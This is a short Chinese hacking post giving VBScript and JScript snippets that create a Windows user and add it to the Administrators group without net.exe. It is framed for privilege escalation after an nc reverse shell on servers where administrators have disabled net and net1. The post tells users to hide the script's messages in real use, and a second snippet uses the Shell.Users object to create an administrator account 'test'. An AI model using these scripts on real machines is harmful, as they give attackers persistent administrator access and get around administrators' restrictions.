无net.exe 加用户vbs

 

 

真正的无net加系统用户能用的脚本。。当我们遇到提权的时候，nc反弹提权的时候，管理员把net1和net给禁用了，，我们可以上传一个脚本，，做到真正的无net加系统用户。。脚本代码如下：

注意：实际应用时取消显示信息。

 

 

保存以上代码为 user.vbs   用法：cscript user.vbs 用户 密码

 

 

 

struser=wscript.arguments(0)strpass=wscript.arguments(1)set lp=createObject("WSCRIPT.NETWORK")oz="WinNT://"&lp.ComputerNameSet ob=GetObject(oz)Set oe=GetObject(oz&"/Administrators,group")Set od=ob.create("user",struser)od.SetPassword strpassod.SetInfoSet of=GetObject(oz&"/" & struser & ",user")oe.Add(of.ADsPath)For Each admin in oe.Membersif struser=admin.Name thenWscript.echo struser & " 建立成功!"wscript.quitend ifNextWscript.echo struser & " 用户建立失败!" 

 

还有一个：

 

今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：

 

//js:var o=new ActiveXObject( “Shell.Users” );z=o.create(”test”) ;z.changePassword(”123456″,”")z.setting(”AccountType”)=3;//vbs:Set o=CreateObject( “Shell.Users” )Set z=o.create(”test”)z.changePassword “123456″,””z.setting(”AccountType”)=3